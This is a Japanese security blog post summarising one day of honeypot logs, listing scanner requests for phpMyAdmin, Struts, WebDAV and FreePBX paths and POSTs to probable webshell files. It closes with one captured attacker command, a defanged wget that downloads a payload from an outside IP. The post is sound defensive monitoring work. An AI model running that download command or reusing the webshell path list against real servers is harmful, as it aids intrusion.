S-Owl

S(ecurity)Owl

トップ > honeypot > WOWHoneypotの簡易分析(43日目)

WOWHoneypotの簡易分析(43日目)

honeypot

WOWhoneypotの2018/07/16（月） (運用43日目)の簡易分析です。
本日の総アクセス件数は 168件です。以下が全アクセスログです。

34 2018-07-16 GET /
4 2018-07-16 GET /index.action
2 2018-07-16 POST /qq.php
2 2018-07-16 GET /xampp/phpmyadmin/index.php
2 2018-07-16 GET /www/phpMyAdmin/index.php
2 2018-07-16 GET /web/phpMyAdmin/index.php
2 2018-07-16 GET /typo3/phpmyadmin/index.php
2 2018-07-16 GET /tools/phpMyAdmin/index.php
2 2018-07-16 GET /pmd/index.php
2 2018-07-16 GET /pma-old/index.php
2 2018-07-16 GET /pmamy/index.php
2 2018-07-16 GET /pmamy2/index.php
2 2018-07-16 GET /PMA/index.php
2 2018-07-16 GET /pma/index.php
2 2018-07-16 GET /PMA2/index.php
2 2018-07-16 GET /phpMyAdmin/phpMyAdmin/index.php
2 2018-07-16 GET /phpmyadmin/phpmyadmin/index.php
2 2018-07-16 GET /phpMyAdminold/index.php
2 2018-07-16 GET /phpMyAdmin.old/index.php
2 2018-07-16 GET /phpmyadmin-old/index.php
2 2018-07-16 GET /phpMyAdmin/index.php
2 2018-07-16 GET /phpmyadmin/index.php
2 2018-07-16 GET /phpMyadmin_bak/index.php
2 2018-07-16 GET /phpmyadmin2/index.php
2 2018-07-16 GET /phpmyadmin1/index.php
2 2018-07-16 GET /phpmyadmin0/index.php
2 2018-07-16 GET /phpma/index.php
2 2018-07-16 GET /phpadmin/index.php
2 2018-07-16 GET /mysql/index.php
2 2018-07-16 GET /mysqladmin/index.php
2 2018-07-16 GET /mysql-admin/index.php
2 2018-07-16 GET /myadmin/index.php
2 2018-07-16 GET /myadmin2/index.php
2 2018-07-16 GET /index.php
2 2018-07-16 GET /db/index.php
2 2018-07-16 GET /dbadmin/index.php
2 2018-07-16 GET /claroline/phpMyAdmin/index.php
2 2018-07-16 GET /admin/PMA/index.php
2 2018-07-16 GET /admin/pma/index.php
2 2018-07-16 GET /admin/phpMyAdmin/index.php
2 2018-07-16 GET /admin/phpmyadmin/index.php
2 2018-07-16 GET /admin/phpmyadmin2/index.php
2 2018-07-16 GET /admin/mysql/index.php
2 2018-07-16 GET /admin/mysql2/index.php
2 2018-07-16 GET /admin/index.php
1 2018-07-16 PROPFIND /
1 2018-07-16 POST /yao.php
1 2018-07-16 POST /xx.php
1 2018-07-16 POST /xw.php
1 2018-07-16 POST /xw1.php
1 2018-07-16 POST /xshell.php
1 2018-07-16 POST /xiao.php
1 2018-07-16 POST /xiaoma.php
1 2018-07-16 POST /wuwu11.php
1 2018-07-16 POST /wshell.php
1 2018-07-16 POST /w.php
1 2018-07-16 POST /weixiao.php
1 2018-07-16 POST /webslee.php
1 2018-07-16 POST /wc.php
1 2018-07-16 POST /s.php
1 2018-07-16 POST /sheep.php
1 2018-07-16 POST /q.php
1 2018-07-16 POST /phpstudy.php
1 2018-07-16 POST /pe.php
1 2018-07-16 POST /mx.php
1 2018-07-16 POST /log.php
1 2018-07-16 POST /lindex.php
1 2018-07-16 POST /hm.php
1 2018-07-16 POST /feixiang.php
1 2018-07-16 POST /fack.php
1 2018-07-16 POST /defect.php
1 2018-07-16 POST /db_session.init.php
1 2018-07-16 POST /db.init.php
1 2018-07-16 POST /db__.init.php
1 2018-07-16 POST /data.php
1 2018-07-16 POST /conflg.php
1 2018-07-16 POST /angge.php
1 2018-07-16 POST /ak47.php
1 2018-07-16 POST /9678.php
1 2018-07-16 HEAD /
1 2018-07-16 GET /webdav/
1 2018-07-16 GET /main.jsp
1 2018-07-16 GET /login.jsp
1 2018-07-16 GET /login.do
1 2018-07-16 GET /login.action
1 2018-07-16 GET /index.jsp
1 2018-07-16 GET /index.do
1 2018-07-16 GET /default.jsp
1 2018-07-16 GET /admin/assets/js/views/login.js 

 phpMyAdmin(85件)関連と/を除外したアクセス数です。

4 2018-07-16 GET /index.action
2 2018-07-16 POST /qq.php
1 2018-07-16 POST /yao.php
1 2018-07-16 POST /xx.php
1 2018-07-16 POST /xw.php
1 2018-07-16 POST /xw1.php
1 2018-07-16 POST /xshell.php
1 2018-07-16 POST /xiao.php
1 2018-07-16 POST /xiaoma.php
1 2018-07-16 POST /wuwu11.php
1 2018-07-16 POST /wshell.php
1 2018-07-16 POST /w.php
1 2018-07-16 POST /weixiao.php
1 2018-07-16 POST /webslee.php
1 2018-07-16 POST /wc.php
1 2018-07-16 POST /s.php
1 2018-07-16 POST /sheep.php
1 2018-07-16 POST /q.php
1 2018-07-16 POST /phpstudy.php
1 2018-07-16 POST /pe.php
1 2018-07-16 POST /mx.php
1 2018-07-16 POST /log.php
1 2018-07-16 POST /lindex.php
1 2018-07-16 POST /hm.php
1 2018-07-16 POST /feixiang.php
1 2018-07-16 POST /fack.php
1 2018-07-16 POST /defect.php
1 2018-07-16 POST /db_session.init.php
1 2018-07-16 POST /db.init.php
1 2018-07-16 POST /db__.init.php
1 2018-07-16 POST /data.php
1 2018-07-16 POST /conflg.php
1 2018-07-16 POST /angge.php
1 2018-07-16 POST /ak47.php
1 2018-07-16 POST /9678.php
1 2018-07-16 GET /webdav/
1 2018-07-16 GET /main.jsp
1 2018-07-16 GET /login.jsp
1 2018-07-16 GET /login.do
1 2018-07-16 GET /login.action
1 2018-07-16 GET /index.jsp
1 2018-07-16 GET /index.do
1 2018-07-16 GET /default.jsp
1 2018-07-16 GET /admin/assets/js/views/login.js 

本日はStruts関連が11件来ています。 

4 2018-07-16 GET /index.action
1 2018-07-16 GET /main.jsp
1 2018-07-16 GET /login.jsp
1 2018-07-16 GET /login.do
1 2018-07-16 GET /login.action
1 2018-07-16 GET /index.jsp
1 2018-07-16 GET /index.do
1 2018-07-16 GET /default.jsp 

 phpに対するPOSTも35件ほど来ています。

2 2018-07-16 POST /qq.php
1 2018-07-16 POST /yao.php
1 2018-07-16 POST /xx.php
1 2018-07-16 POST /xw.php
1 2018-07-16 POST /xw1.php
1 2018-07-16 POST /xshell.php
1 2018-07-16 POST /xiao.php
1 2018-07-16 POST /xiaoma.php
1 2018-07-16 POST /wuwu11.php
1 2018-07-16 POST /wshell.php
1 2018-07-16 POST /w.php
1 2018-07-16 POST /weixiao.php
1 2018-07-16 POST /webslee.php
1 2018-07-16 POST /wc.php
1 2018-07-16 POST /s.php
1 2018-07-16 POST /sheep.php
1 2018-07-16 POST /q.php
1 2018-07-16 POST /phpstudy.php
1 2018-07-16 POST /pe.php
1 2018-07-16 POST /mx.php
1 2018-07-16 POST /log.php
1 2018-07-16 POST /lindex.php
1 2018-07-16 POST /hm.php
1 2018-07-16 POST /feixiang.php
1 2018-07-16 POST /fack.php
1 2018-07-16 POST /defect.php
1 2018-07-16 POST /db_session.init.php
1 2018-07-16 POST /db.init.php
1 2018-07-16 POST /db__.init.php
1 2018-07-16 POST /data.php
1 2018-07-16 POST /conflg.php
1 2018-07-16 POST /angge.php
1 2018-07-16 POST /ak47.php
1 2018-07-16 POST /9678.php

残りは以下2件でwebdavの調査行為と、Freepbxの調査行為と思われます。morihi-socさん曰く、「最近PBX とか SIP の探索のような通信が多い。」とのことで、流行と同じようです。

1 2018-07-16 GET /webdav/
1 2018-07-16 GET /admin/assets/js/views/login.js 

 

本日のハンティングログは以下です。

1 2018-07-16 wget -c hxxp://23.249.162[.]123:9998/servic

以上です。